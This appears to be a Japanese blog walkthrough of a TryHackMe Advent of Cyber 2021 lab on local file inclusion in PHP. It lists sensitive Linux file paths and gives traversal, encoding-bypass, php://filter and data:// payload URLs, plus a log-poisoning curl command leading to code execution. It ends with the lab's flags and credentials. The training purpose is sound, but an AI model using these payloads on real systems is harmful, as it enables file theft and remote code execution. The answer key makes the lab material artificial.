【TryHackMe】Advent of Cyber3 (2021)を続けてみた Day6


Welcome to Advent of Cyber 2021

クリスマスまでの25日間、毎日基本的な知識を学び、初心者向けの新しいセキュリティ演習を行うことで、サイバーセキュリティを始めることができます。

day6

今回は「ローカルファイルインクルード(LFI)の脆弱性」についてです。
LFI 脆弱性は、ウェブアプリケーションの脆弱性で、攻撃者がサーバー上のローカルファイルを含めて読み取ることができます。

例えば、PHPでは以下のような関数がこの種の脆弱性の原因となります。

  • include
  • require
  • include_once
  • require_once
LFIのリスクは?

LFIの脆弱性をあると、ファイルの読み取り権限があれば、機密データを読み取ることが可能になります。そのため、一般ユーザーがアクセスした機密データが漏れることが最も大きなリスクの一つとなります。また、場合によっては、LFIの脆弱性を連鎖させて、サーバー上でリモートコード実行RCEを行うことも可能です。システム上のファイルに注入または書き込むことができれば、LFIを利用してRCEを得ることができます。

以下は、LFIに対して脆弱なPHPコードの例です。同じディレクトリに存在するwelcome.txtファイルの内容を読み込みます。

URL(例): http://example.com/index.php?file=welcome.txt
-----------
<?PHP include($_GET["file"]); ?>
-----------

上記のPHPコードでは、URLパラメータファイルを介したGETリクエストを使用して、ページにファイルをインクルードしています。このリクエストは、次のようなHTTPリクエストを送信することで行うことができます。

オペレーティングシステムに関連するローカルファイルを読み取るためのテストを開始しましょう。以下は、機密情報を含むいくつかのLinuxシステムファイルです。

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline

LFIの基本的なテストから始めましょう。エントリポイントまたはHTTPパラメータを特定したら、テストを開始してOSファイルを含め、Webアプリケーションがどのように反応するかを確認できます。テストケースとして、Linux OSに対して/etc/passwdを試すことができます。これは、確実に読み取り可能であるためです。また、次のようなさまざまな手法を使用して含めることもできます。

  • etc/passwdで始まるファイルを直接インクルードする場合
  • ../を使ってカレントディレクトリを取り出す場合
  • ....//を使用したフィルターのバイパス
  • URLエンコード技術(ダブルエンコードなど)
http://example.thm.labs/page.php?file=/etc/passwd
http://example.thm.labs/page.php?file=../../../../../../etc/passwd 
http://example.thm.labs/page.php?file=../../../../../../etc/passwd%00 
http://example.thm.labs/page.php?file=....//....//....//....//etc/passwd 
http://example.thm.labs/page.php?file=%252e%252e%252fetc%252fpasswd
Exploiting LFI

LFIを利用してシステム上のファイルに注入または書き込むことができれば、サーバー上でリモートコード実行RCEを行うことも可能です。もし、PHPを扱っているのであれば、PHPがサポートするWrapperを利用することができます。詳しくは、PHPのマニュアルページをご覧ください。PHPは、データを読み取ることができるように、様々なデータの送信方法を提供しています。

PHP Filter

PHP filter wrapperは、LFI で実際の PHP ページのコンテンツを読み取るために使用されます。一般的なケースでは、PHP ファイルは実行され、既存のコードが表示されることはないため、LFI を介して PHP ファイルの内容を読み取ることはできません。しかし、PHP フィルターを使用すると、base64 や ROT13 などの他のエンコーディング形式で PHP ファイルの内容を表示することができます。

http://example.thm.labs/page.php?file=php://filter/resource=/etc/passwd

ここで、PHPフィルタを使ってindex.phpファイルを読もうとすると、WebサーバがPHPコードを実行しようとするため、エラーが発生します。これを避けるためには、PHPフィルタを使用しながら、次のように出力をbase64またはROT13でエンコードすることができます。

http://example.thm.labs/page.php?file=php://filter/read=string.rot13/resource=/etc/passwd 
http://example.thm.labs/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

その結果、以下のようにbase64でエンコードされた出力が得られます。

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDox******Deleted
PHP DATA

AoC3 is fun!のテキストをbase64エンコードします。

┌──(kalikali)-[~]
└─$ echo 'AoC3 is fun!' | base64
QW9DMyBpcyBmdW4hCg==

base64デコード

┌──(kalikali)-[~]
└─$ echo 'QW9DMyBpcyBmdW4hCg==' | base64 --decode
AoC3 is fun!

これで、次のようにbase64データを脆弱なページに含めることができます。
http://example.thm.labs/page.php?file=data://text/plain;base64,QW9DMyBpcyBmdW4hCg==

問題

phpフィルター技術を使用して、index.phpのソースコードを読み取ります 。
URL:http://10.10.186.109/index.php?err=php://filter/convert.base64-encode/resource=index.php

得た値をbase64でデコードします。

┌──(hogletkali)-[~]
└─$ echo 'PD9waHAgc2Vzc...(略)' | base64 --decode
<?php session_start();
$flag = "THM{791d43d46018a0d89361dbf60d5d9eb8}";
include("./includes/creds.php");
if($_SESSION['username'] === $USER){                        
    header( 'Location: manage.php' );
    die();
} else {
    $labNum = "";
  require "./includes/header.php";
?>
<div class="row">
  <div class="col-lg-12">
  </div>
  <div class="col-lg-8 col-offset-1">
      <?php if (isset($error)) { ?>
          <span class="text text-danger"><b><?php echo $error; ?></b></span>
      <?php }

?>
 <p>Welcome <?php echo getUserName(); ?></p>
    <div class="alert alert-danger" role="alert">This server has sensitive information. Note All actions to this server are logged in!</div> 
    </div>
<?php if($errInclude){ include($_GET['err']);} ?>
</div>

<?php
}
?> 

ログインクレデンシャルPHPファイルのパスがあります。PHPフィルター技術を使用して、そのコンテンツを読み取ります。
http://10.10.186.109/index.php?err=php://filter/convert.base64-encode/resource=includes/creds.php

PD9waHAgCiRVU0VSID0gIk1jU2tpZHkiOwokUEFTUyA9ICJBMEMzMTVBdzNzMG0iOwo/
┌──(kalikali)-[~]
└─$ echo 'PD9waHAgCiRVU0VSID0gIk1jU2tpZHkiOwokUEFTUyA9ICJBMEMzMTVBdzNzMG0iOwo/' | base64 --decode
<?php 
$USER = "McSkidy";
$PASS = "A0C315Aw3s0m";
? 

ログページには、ユーザー名、IPアドレス、User-Agent 、訪問したページなど、4つの異なるヘッダーが保存されていることがわかります。 curl -A "This is testing" http://10.10.186.109/index.phpを叩くと、ログが保存されます。

Webアプリログにコードを含める方法を示します。
curl -A "<?php phpinfo();?>" http://10.10.186.109/login.phpを叩く

ページソースを見ると<?php phpinfo();?>が反映されていることが分かります。

ログアウトしてから、http://10.10.186.109/index.php?err=./includes/logs/app_access.logにアクセス。

Answer↓

Deploy the attached VM and look around. What is the entry point for our web application?
err
Use the entry point to perform LFI to read the /etc/flag file. What is the flag?
THM{d29e08941cf7fe41df55f1a7da6c4c06}
Use the PHP filter technique to read the source code of the index.php. What is the $flag variable's value?
THM{791d43d46018a0d89361dbf60d5d9eb8}
Now that you read the index.php, there is a login credential PHP file's path. Use the PHP filter technique to read its content. What are the username and password?
McSkidy:A0C315Aw3s0m
Use the credentials to login into the web application. Help McSkidy to recover the server's password. What is the password of the flag.thm.aoc server?
THM{552f313b52e3c3dbf5257d8c6db7f6f1}
The web application logs all users' requests, and only authorized users can read the log file. Use the LFI to gain RCE via the log file page. What is the hostname of the webserver? The log file location is at ./includes/logs/app_access.log.
lfi-aoc-awesome-59aedca683fff9261263bb084880c965